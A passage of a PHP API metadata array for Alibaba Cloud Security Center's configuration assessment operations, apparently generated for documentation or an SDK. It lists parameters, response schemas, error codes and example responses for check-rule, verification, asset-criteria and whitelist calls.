\\"7532B7EE-7CE7-5F4D-BF04-B12447DD****\\",\\n \\"CheckCustomPolicy\\": {\\n \\"PolicyId\\": 100000000001,\\n \\"PolicyType\\": \\"STANDARD\\",\\n \\"PolicyShowName\\": \\"testPolictName\\"\\n }\\n}","type":"json"}]', 'title' => 'Modify Custom Check Item Policy Classification Settings', 'translator' => 'machine', ], 'GetCheckSale' => [ 'summary' => 'Queries the sales information about the configuration assessment feature, including the purchased quota and the consumed quota.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'RegionId', 'in' => 'query', 'schema' => [ 'description' => 'The region in which the Security Center instance is deployed. Valid values:'."\n" ."\n" .'* **cn-hangzhou:** inside China'."\n" .'* Global **ap-southeast-1:** outside China'."\n", 'type' => 'string', 'required' => false, 'example' => 'cn-hangzhou', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'F5CF78A7-30AA-59DB-847F-13EE3AE7****', ], 'CheckSale' => [ 'description' => 'The sales information about the configuration assessment quota.'."\n", 'type' => 'object', 'properties' => [ 'PurchaseCount' => [ 'title' => '购买授权数', 'description' => 'The purchased quota.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1000', ], 'ConsumeCount' => [ 'title' => '消耗授权数', 'description' => 'The consumed quota.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '500', ], 'LoyalUser' => [ 'title' => '是否为存量用户', 'description' => 'Indicates whether the user is an existing user and whether the user uses the configuration assessment feature before the feature is released for sale on July 07, 2023. Valid values:'."\n" ."\n" .'* **true**: existing user'."\n" .'* **false**: new user'."\n", 'type' => 'boolean', 'example' => 'true', ], 'SaleUserType' => [ 'title' => '售卖用户类型：1=全功能用户，2=需要升级用户，3=需要购买用户', 'description' => 'The type of the user. Valid values:'."\n" ."\n" .'* **1**: a user who can use all check items.'."\n" .'* **2**: an user who can only use the check items before the release of the feature on July 07, 2023. This type of users must upgrade Security Center before the users can use all check items.'."\n" .'* **3**: a new user who cannot use the configuration assessment feature. This type of users must make a purchase before the users can use the feature.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F5CF78A7-30AA-59DB-847F-13EE3AE7****\\",\\n \\"CheckSale\\": {\\n \\"PurchaseCount\\": 1000,\\n \\"ConsumeCount\\": 500,\\n \\"LoyalUser\\": true,\\n \\"SaleUserType\\": 1\\n }\\n}","type":"json"}]', 'title' => 'GetCheckSale', ], 'ModifyCheckRule' => [ 'summary' => 'Modify the rule settings for cloud product configuration checks', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '230334', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'RuleId', 'in' => 'query', 'schema' => [ 'description' => 'Rule ID.'."\n" .'> You can obtain this parameter by calling the [ListCheckRule](~~2590599~~) API.', 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '9000**', ], ], [ 'name' => 'RuleType', 'in' => 'query', 'schema' => [ 'description' => 'Rule type. Default is **WHITE**. Values:'."\n" .'- **WHITE**: Add to whitelist', 'type' => 'string', 'required' => false, 'example' => 'WHITE', ], ], [ 'name' => 'AddInstanceList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The list of instances to be added in this rule update. This parameter does not need to be passed if there are no instances to add.', 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'RegionId' => [ 'description' => 'The region ID of the asset.', 'type' => 'string', 'required' => false, 'example' => 'cn-shanghai', ], 'InstanceId' => [ 'description' => 'The instance ID of the asset.', 'type' => 'string', 'required' => false, 'example' => 'i-wz9g8ljygfqs1ez3****', ], ], 'required' => false, ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'DeleteInstanceList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The list of instances to be removed in this rule update. This parameter does not need to be passed if there are no instances to remove.', 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'RegionId' => [ 'description' => 'The region ID of the asset.', 'type' => 'string', 'required' => false, 'example' => 'cn-shanghai', ], 'InstanceId' => [ 'description' => 'The instance ID of the asset.', 'type' => 'string', 'required' => false, 'example' => 'i-8vb0e8qdaj0yyxjo****', ], ], 'required' => false, ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'description' => 'Remarks.', 'type' => 'string', 'required' => false, 'example' => 'testRemark', ], ], [ 'name' => 'ScopeType', 'in' => 'query', 'schema' => [ 'description' => 'The scope of effect for modifying the rule:'."\n" .'- **INSTANCE**: Instance'."\n" .'- **ITEM**: Check item', 'type' => 'string', 'required' => false, 'example' => 'INSTANCE', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'The returned message body.', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The ID of this call request, which is a unique identifier generated by Alibaba Cloud for the request and can be used for troubleshooting and problem localization.', 'type' => 'string', 'example' => 'CD380235-A0B8-540D-A0D5-D6288446****', ], 'RuleId' => [ 'description' => 'Rule ID.', 'type' => 'string', 'example' => '123', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"CD380235-A0B8-540D-A0D5-D6288446****\\",\\n \\"RuleId\\": \\"123\\"\\n}","type":"json"}]', 'title' => 'Modify the inspection rules for Cloud Security Posture Management', 'translator' => 'machine', ], 'VerifyCheckInstanceResult' => [ 'summary' => 'Verifies the instances on which risks are detected based on a check item.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'paid', 'abilityTreeCode' => '119344', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'CheckId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the check item.'."\n" ."\n" .'> You can call the [ListCheckResult](~~ListCheckResult~~) operation to query the IDs of check items.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '16', ], ], [ 'name' => 'InstanceIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The instance IDs of the assets on which risks are detected based on the check item.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The instance ID of the asset on which risks are detected based on the check item.'."\n", 'type' => 'string', 'required' => false, 'example' => 'i-2ze3a5ws0mjvqwqr****', ], 'required' => false, 'maxItems' => 20, ], ], [ 'name' => 'TaskSource', 'in' => 'query', 'schema' => [ 'description' => 'The source of task.', 'type' => 'string', 'required' => false, 'example' => 'YAO_CHI', ], ], [ 'name' => 'CheckIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'List of item IDs to be checked.', 'type' => 'array', 'items' => [ 'description' => 'Item ID to be checked.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '11', ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'VerifyCheckInstanceResultResponse', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'OperateCode' => [ 'description' => 'The operation code of the task that checks the configurations of cloud services. Valid values:'."\n" ."\n" .'* **Throttling**'."\n" .'* **ActionTrialUnauthorized**'."\n", 'type' => 'string', 'example' => 'ActionTrialUnauthorized', ], 'FailInstances' => [ 'description' => 'An array consisting of instances that failed the check.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The instance that failed the check.'."\n", 'type' => 'string', 'example' => 'i-2ze3a5ws0mjvqwqr****', ], ], 'TaskId' => [ 'description' => 'The task ID.'."\n", 'type' => 'string', 'example' => 'a410bb3-e68c217a-3368bc0-238c668***', ], ], ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'B869E3A0-1147-539D-9920-47580700****', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPurchase', 'errorMessage' => 'The user did not purchase this product.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"OperateCode\\": \\"ActionTrialUnauthorized\\",\\n \\"FailInstances\\": [\\n \\"i-2ze3a5ws0mjvqwqr****\\"\\n ],\\n \\"TaskId\\": \\"a410bb3-e68c217a-3368bc0-238c668***\\"\\n },\\n \\"RequestId\\": \\"B869E3A0-1147-539D-9920-47580700****\\"\\n}","type":"json"}]', 'title' => 'VerifyCheckInstanceResult', 'translator' => 'machine', ], 'VerifyCheckResult' => [ 'summary' => 'Verifies risk items that are detected based on check items.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'none', 'riskType' => 'none', 'chargeType' => 'paid', 'abilityTreeCode' => '119338', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'CheckIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The IDs of the check items.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the check item.'."\n" ."\n" .'> You can call the [ListCheckResult](~~ListCheckResult~~) operation to query the IDs of check items.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '25', ], 'required' => false, 'maxItems' => 50, ], ], [ 'name' => 'TaskSource', 'in' => 'query', 'schema' => [ 'description' => 'The source of task.', 'type' => 'string', 'required' => false, 'example' => 'YAO_CHI', ], ], [ 'name' => 'InstanceIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'List of instance IDs for the check item assets.', 'type' => 'array', 'items' => [ 'description' => 'Cloud product instance ID of the check item.', 'type' => 'string', 'required' => false, 'example' => 'i-uf6j8vq9l4r5ntht****', ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'VerifyCheckResultResponse', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '7C0A3FA0-AA32-5660-8989-85A5582F****', ], 'Data' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'OperateCode' => [ 'description' => 'The operation code of the cloud service configuration task. Valid values:'."\n" ."\n" .'* **Throttling**: frequency limit'."\n" .'* **ActionTrialUnauthorized**: an error that is related to unauthorized operations'."\n", 'type' => 'string', 'example' => 'Throttling', ], 'ThrottlingTimeSecond' => [ 'description' => 'The throttling duration. Unit: seconds'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1800', ], 'TaskId' => [ 'description' => 'The task ID.'."\n", 'type' => 'string', 'example' => '8eded533-5348-468c-aa1d-0aa2934a7***', ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], [ 'errorCode' => 'NoPurchase', 'errorMessage' => 'The user did not purchase this product.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7C0A3FA0-AA32-5660-8989-85A5582F****\\",\\n \\"Data\\": {\\n \\"OperateCode\\": \\"Throttling\\",\\n \\"ThrottlingTimeSecond\\": 1800,\\n \\"TaskId\\": \\"8eded533-5348-468c-aa1d-0aa2934a7***\\"\\n }\\n}","type":"json"}]', 'title' => 'VerifyCheckResult', 'translator' => 'machine', ], 'GetCloudAssetCriteria' => [ 'summary' => 'Queries the filter conditions that are used to search for cloud assets.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'Value', 'in' => 'query', 'schema' => [ 'description' => 'The keyword for fuzzy search when you query the asset.'."\n", 'type' => 'string', 'required' => false, 'example' => 'testwww', ], ], [ 'name' => 'CloudAssetTypes', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The types of cloud assets.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The type of the cloud asset.'."\n", 'type' => 'object', 'properties' => [ 'AssetType' => [ 'description' => 'The type of the asset. Valid values:'."\n" ."\n" .'* **0**: Elastic Compute Service (ECS)'."\n" .'* **1**: Server Load Balancer (SLB)'."\n" .'* **3**: ApsaraDB RDS'."\n" .'* **4**: ApsaraDB for MongoDB (MongoDB)'."\n" .'* **5**: ApsaraDB for Redis (Redis)'."\n" .'* **6**: Container Registry'."\n" .'* **8**: Container Service for Kubernetes (ACK)'."\n" .'* **9**: Virtual Private Cloud (VPC)'."\n" .'* **11**: ActionTrail'."\n" .'* **12**: Alibaba Cloud CDN (CDN)'."\n" .'* **13**: Certificate Management Service (formerly SSL Certificates Service)'."\n" .'* **14**: Apsara Devops'."\n" .'* **16**: Anti-DDoS'."\n" .'* **17**: Web Application Firewall (WAF)'."\n" .'* **18**: Object Storage Service (OSS)'."\n" .'* **19**: PolarDB'."\n" .'* **20**: ApsaraDB RDS for PostgreSQL'."\n" .'* **21**: Microservices Engine (MSE)'."\n" .'* **22**: File Storage NAS (NAS)'."\n" .'* **23**: Data Security Center (DSC)'."\n" .'* **24**: Elastic IP Address (EIP)'."\n" .'* **25**: IDaaS EIAM'."\n" .'* **26**: PolarDB-X'."\n" .'* **27**: Elasticsearch', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '9', ], 'AssetSubType' => [ 'description' => 'The subtype of the cloud service or asset. Valid values:'."\n" ."\n" .'* **0**: ECS'."\n" ."\n" .' * **0**: instance'."\n" .' * **1**: disk (storage)'."\n" .' * **2**: security group'."\n" ."\n" .'* **1**: SLB'."\n" ."\n" .' * **0**: SLB'."\n" .' * **1**: Application Load Balancer (ALB)'."\n" ."\n" .'* **3**: ApsaraDB RDS'."\n" ."\n" .' * **0**: instance'."\n" ."\n" .'* **4**: MongoDB'."\n" ."\n" .' * **0**: instance'."\n" ."\n" .'* **5**: Redis'."\n" ."\n" .' * **0**: instance'."\n" ."\n" .'* **6**: Container Registry'."\n" ."\n" .' * **1**: Enterprise Edition'."\n" .' * **2**: Personal Edition'."\n" ."\n" .'* **8**: ACK'."\n" ."\n" .' * **0**: cluster'."\n" ."\n" .'* **9**: VPC'."\n" ."\n" .' * **0**: NAT gateway'."\n" .' * **1**: Elastic IP address (EIP)'."\n" .' * **2**: VPN'."\n" .' * **3**: VPC Flow Logs'."\n" ."\n" .'* **11**: ActionTrail'."\n" ."\n" .' * **0**: trail'."\n" ."\n" .'* **12**: CDN'."\n" ."\n" .' * **0**: instance'."\n" ."\n" .'* **13**: Certificate Management Service (formerly SSL Certificates Service)'."\n" ."\n" .' * **0**: certificate'."\n" ."\n" .'* **14**: Apsara Devops'."\n" ."\n" .' * **0**: organization'."\n" ."\n" .'* **16**: Anti-DDoS'."\n" ."\n" .' * **0**: instance'."\n" ."\n" .'* **17**: WAF'."\n" ."\n" .' * **0**: domain name'."\n" ."\n" .'* **18**: OSS'."\n" ."\n" .' * **0**: bucket'."\n" ."\n" .'* **19**: PolarDB'."\n" ."\n" .' * **0**: cluster'."\n" ."\n" .'* **20**: ApsaraDB RDS for PostgreSQL'."\n" ."\n" .' * **0**: instance'."\n" ."\n" .'* **21**: MSE'."\n" ."\n" .' * **0**: cluster'."\n" ."\n" .'* **22**: NAS'."\n" ."\n" .' * **0**: file system'."\n" ."\n" .'* **23**: DSC'."\n" ."\n" .' * **0**: instance'."\n" ."\n" .'* **24**: EIP'."\n" ."\n" .' * **0**: Anycast EIP'."\n" ."\n" .'* **25**: IDaaS EIAM'."\n" ."\n" .' * **0**: instance'."\n" ."\n" .'* **26**: PolarDB-X'."\n" ."\n" .' * **0**: instance'."\n" ."\n" .'* **27**: Elasticsearch'."\n" ."\n" .' * **0**: instance'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '2', ], ], 'required' => false, ], 'required' => false, 'maxItems' => 20, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '24A20733-10A0-4AF6-BE6B-E3322413BB68', ], 'CriteriaList' => [ 'description' => 'An array consisting of the information about the filter conditions that are used to search for cloud assets.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the filter condition that is used to search for cloud assets.'."\n", 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the filter condition. Valid values:'."\n" ."\n" .'* **input**: The filter condition needs to be specified.'."\n" .'* **select**: The filter condition is an option that can be selected from the drop-down list.'."\n", 'type' => 'string', 'example' => 'select', ], 'Name' => [ 'description' => 'The name of the filter condition. Valid values:'."\n" ."\n" .'* **instanceId**: the ID of the instance'."\n" .'* **instanceName**: the name of an instance'."\n" .'* **internetIp**: the public IP address'."\n" .'* **riskStatus**: the risk status'."\n" .'* **vendorRegionId**: the region ID by service provider'."\n", 'type' => 'string', 'example' => 'instanceId', ], 'Values' => [ 'description' => 'The values of the search condition. This parameter is returned only if the value of **Type** is **select**.'."\n" ."\n" .'> If the value of **Type** is **input**, the value of this parameter is an empty string.'."\n", 'type' => 'string', 'example' => 'fvt*', ], 'MultiValues' => [ 'description' => 'The structured attribute values of the assets that match the keyword. The value of this parameter is in the JSON format and contains the following fields:'."\n" ."\n" .'* **vendor**: providers'."\n" .'* **regionIds**: IDs of supported regions'."\n", 'type' => 'string', 'example' => '[{"vendor":0,"regionIds":{"default":["ap-southeast-1","ap-northeast-2","ap-southeast-3","ap-southeast-5","ap-southeast-7","me-central-1"]}},{"vendor":1,"regionIds":{"default":["outside-of-aliyun"]}}]', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E3322413BB68\\",\\n \\"CriteriaList\\": [\\n {\\n \\"Type\\": \\"select\\",\\n \\"Name\\": \\"instanceId\\",\\n \\"Values\\": \\"fvt*\\",\\n \\"MultiValues\\": \\"[{\\\\\\"vendor\\\\\\":0,\\\\\\"regionIds\\\\\\":{\\\\\\"default\\\\\\":[\\\\\\"ap-southeast-1\\\\\\",\\\\\\"ap-northeast-2\\\\\\",\\\\\\"ap-southeast-3\\\\\\",\\\\\\"ap-southeast-5\\\\\\",\\\\\\"ap-southeast-7\\\\\\",\\\\\\"me-central-1\\\\\\"]}},{\\\\\\"vendor\\\\\\":1,\\\\\\"regionIds\\\\\\":{\\\\\\"default\\\\\\":[\\\\\\"outside-of-aliyun\\\\\\"]}}]\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'GetCloudAssetCriteria', ], 'RemoveCheckResultWhiteList' => [ 'summary' => 'Removes the check items of the configuration assessment feature from the whitelist.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'delete', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '119348', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'CheckGroupId', 'in' => 'query', 'schema' => [ 'description' => 'This parameter is deprecated.'."\n", 'type' => 'string', 'required' => false, 'example' => 'Deprecated', ], ], [ 'name' => 'CheckIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The IDs of the check items.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the check item.'."\n" ."\n" .'> You can call the [ListCheckResult](~~ListCheckResult~~) operation to query the IDs of check items.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '11', ], 'required' => false, 'maxItems' => 50, ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'This parameter is deprecated.'."\n", 'type' => 'string', 'required' => false, 'example' => 'Deprecated', ], ], [ 'name' => 'RuleId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the whitelist rule.'."\n" ."\n" .'> You can call the [ListCheckResult](~~ListCheckResult~~) operation to query the IDs of whitelist rules.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '22', ], ], [ 'name' => 'InstanceIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'A set of cloud product instance IDs that require validation.', 'type' => 'array', 'items' => [ 'description' => 'Cloud product instance ID of the check item.', 'type' => 'string', 'required' => false, 'example' => 'i-uf6j8vq9l4r5ntht****', ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'RemoveCheckResultWhiteListResponse', 'description' => 'RemoveCheckResultWhiteListResponse'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '98C82076-E0D5-51DA-99F2-513F4XXXXXX', ], 'Code' => [ 'description' => 'The HTTP status code. The status code 200 indicates that the request was successful.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The message returned.'."\n", 'type' => 'string', 'example' => 'successful', ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"98C82076-E0D5-51DA-99F2-513F4XXXXXX\\",\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"Success\\": true\\n}","type":"json"}]', 'title' => 'RemoveCheckResultWhiteList', 'translator' => 'machine', ], 'AddCheckResultWhiteList' => [ 'summary' => 'Adds the check items of the configuration assessment feature to the whitelist.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '119341', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'CheckIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The IDs of the check items.'."\n" ."\n" .'> You can call the [ListCheckResult](~~ListCheckResult~~) operation to query the IDs of the check items.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the check item.'."\n" ."\n" .'> You can call the [ListCheckResult](~~ListCheckResult~~) operation to query the IDs of the check items.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '152', ], 'required' => false, 'maxItems' => 50, ], ], [ 'name' => 'RuleType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the rule. Default value: **WHITE**. Valid value:'."\n" ."\n" .'* **WHITE**: Add check items to the whitelist.'."\n", 'type' => 'string', 'required' => false, 'example' => 'WHITE', ], ], [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'description' => 'The description. The value of this parameter can be up to 65,535 bytes in length.'."\n", 'type' => 'string', 'required' => false, 'example' => 'test', ], ], [ 'name' => 'InstanceIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'IDs of the cloud product instances that need to be whitelisted. Separate multiple IDs with a comma (,).', 'type' => 'array', 'items' => [ 'description' => 'The cloud product instance ID that needs to be whitelisted.', 'type' => 'string', 'required' => false, 'example' => 'i-2ze3a5ws0mjvqwqr****', ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'AddCheckResultWhiteListResponse', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The data returned. This parameter is deprecated.'."\n", 'type' => 'object', 'example' => '1', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'C699E4E4-F2F4-58FC-A949-457FFE59****', ], 'RuleIds' => [ 'description' => 'The IDs of the whitelist rules that are generated.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the whitelist rule that is generated.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '7788', ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": 1,\\n \\"RequestId\\": \\"C699E4E4-F2F4-58FC-A949-457FFE59****\\",\\n \\"RuleIds\\": [\\n 7788\\n ]\\n}","type":"json"}]', 'title' => 'AddCheckResultWhiteList', 'translator' => 'machine', ], 'RemoveCheckInstanceResultWhiteList' => [ 'summary' => 'Removes an instance from the whitelist.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'delete', 'abilityTreeCode' => '119345', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'CheckId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the check item.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '11', ], ], [ 'name' => 'InstanceIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The IDs of instances. Separate multiple IDs with commas (,).'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the instance. Separate multiple IDs with commas (,).'."\n", 'type' => 'string', 'required' => false, 'example' => 'i-bp10nif8f6ice2qvacqu', ], 'required' => false, 'maxItems' => 20, ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'RemoveCheckInstanceResultWhiteListResponse', 'description' => 'RemoveCheckInstanceResultWhiteListResponse'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'F156EA41-8EEF-54B2-908B-EAE071XXXXXX', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPurchase', 'errorMessage' => 'The user did not purchase this product.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F156EA41-8EEF-54B2-908B-EAE071XXXXXX\\"\\n}","type":"json"}]', 'title' => 'RemoveCheckInstanceResultWhiteList', ], 'AddCheckInstanceResultWhiteList' => [ 'summary' => 'Adds instances on which risks are detected based on check items of the configuration assessment feature to a whitelist.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'abilityTreeCode' => '119347', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'CheckGroupId', 'in' => 'query', 